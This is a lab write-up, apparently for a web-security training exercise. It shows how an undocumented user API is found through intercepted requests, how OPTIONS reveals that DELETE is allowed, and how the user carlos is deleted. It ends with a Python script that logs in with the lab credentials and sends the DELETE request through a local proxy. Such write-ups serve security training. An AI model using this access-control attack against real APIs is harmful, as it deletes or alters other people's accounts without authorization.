# 1. Exploiting an API endpoint using documentation

Accessing the lab webpage:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2Fb44gt9Il98AF9aSxd2Cn%2FPasted%20image%2020240620123705.png?alt=media&#x26;token=ea515a2e-0bb0-4253-8032-bb321b6ddcf6" alt=""><figcaption></figcaption></figure>

Login in:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2F2wQfixn9FFKdHvm1WI8g%2FPasted%20image%2020240620123737.png?alt=media&#x26;token=ddad909c-6c3e-4ff8-9d3b-cd1d517d06ec" alt=""><figcaption></figcaption></figure>

Looking at the request that intercepted using the burpsuite:

We found an API endpoint, or for example we can try it manually to see the responses, or brute force it to get a hit:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2F05iAO78J4m1fFYcnkkfY%2FPasted%20image%2020240620124252.png?alt=media&#x26;token=057a0052-4393-4671-ab4e-5b57b3101780" alt=""><figcaption></figcaption></figure>

Or we can just update our email and we will get it as a request:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2F0Lmi1tvlfoxhBl28HxFr%2FPasted%20image%2020240621134640.png?alt=media&#x26;token=c1948da5-bbc0-46f8-83c6-41ab11847264" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2Fqf9ibmuqz0jAIrSMbxx3%2FPasted%20image%2020240621134702.png?alt=media&#x26;token=59ec8a43-27eb-4743-8172-f79250aa964f" alt=""><figcaption></figcaption></figure>

Lets try it:

Using options method we can use these methods:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FNEWJmkvb6cmaiTc5gtHK%2FPasted%20image%2020240620124437.png?alt=media&#x26;token=346205d2-8c47-4fb6-97d4-3d611b643392" alt=""><figcaption></figcaption></figure>

Lets do GET:

We got a response with JSON formats:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FY0LaWqzM4mx9gH1S29o1%2FPasted%20image%2020240620124538.png?alt=media&#x26;token=cc1dea31-aad4-41f0-ac9c-7546edcf581e" alt=""><figcaption></figcaption></figure>

Maybe we need to specify a user, lets try wiener:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FQdzRvV1TELpV7a3xuN44%2FPasted%20image%2020240620124626.png?alt=media&#x26;token=974d8d44-9c87-462e-91c4-f1b28a4f1e49" alt=""><figcaption></figcaption></figure>

Lets try carlos if it is exists:

And here we go:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FpuTL0E5OxDMLfrgv6fPo%2FPasted%20image%2020240620124713.png?alt=media&#x26;token=cb58aaf8-7a73-46b1-99f0-fe4adc5ac342" alt=""><figcaption></figcaption></figure>

And now as the objective, we have to delete carlos user to solve the lab, and remember we can use DELETE method as shown above:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2Fwvh8a6AFFChLepWU7p4G%2FPasted%20image%2020240620124809.png?alt=media&#x26;token=f8cd75e7-68e4-4254-9e66-8ca136e7d591" alt=""><figcaption></figcaption></figure>

Here we go:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FetD6FoO8aPwNjYuULyPu%2FPasted%20image%2020240620124824.png?alt=media&#x26;token=2f66d5ad-2368-48ae-956d-0d6a4fbca447" alt=""><figcaption></figcaption></figure>

Trying PATCH on wiener:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2Fn36MWuAg5NjoF2PLx97K%2FPasted%20image%2020240621134819.png?alt=media&#x26;token=7a305120-4197-46ea-ae8c-6d8b136aef2a" alt=""><figcaption></figcaption></figure>

Lets do GET on /api:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2F9tFPkOKXaC1O00qcHmBA%2FPasted%20image%2020240621134909.png?alt=media&#x26;token=4af5b7ce-a46f-4cf7-b721-93f2b583eb18" alt=""><figcaption></figcaption></figure>

Solve it using a `python3` script:

```python
import requests  
import re  
import os  
import sys  
  
proxies = {  
    "http": "http://127.0.0.1:8080",  
    "https": "http://127.0.0.1:8080"  
}  
  
session = requests.session()  
  
  
def Login(username, password):  
    print("[*] Get CSRF Token.")  
    csrf = re.findall(r'name="csrf" value="(.+?)"', session.get(url=url + "login", proxies=proxies, verify=False).text)  
    print("[*] Logging In.")  
    data = f"csrf={csrf[0]}&username={username}&password={password}"  
    session.post(url=url + "login", data=data, allow_redirects=True, proxies=proxies, verify=False)  
  
  
def DeleteCarlos():  
    print("[*] Delete The User Carlos.")  
    session.delete(url=url + "api/user/carlos", proxies=proxies, verify=False)  
  
  
if __name__ == "__main__":  
    if len(sys.argv) != 2:  
        script_name = os.path.basename(__file__)  
        print(f"[-] Usage: python {script_name} http://localhost/")  
        sys.exit(1)  
    url = sys.argv[1]  
    Login("wiener", "peter")  
    DeleteCarlos()  
    print("[+] Solved.")
```
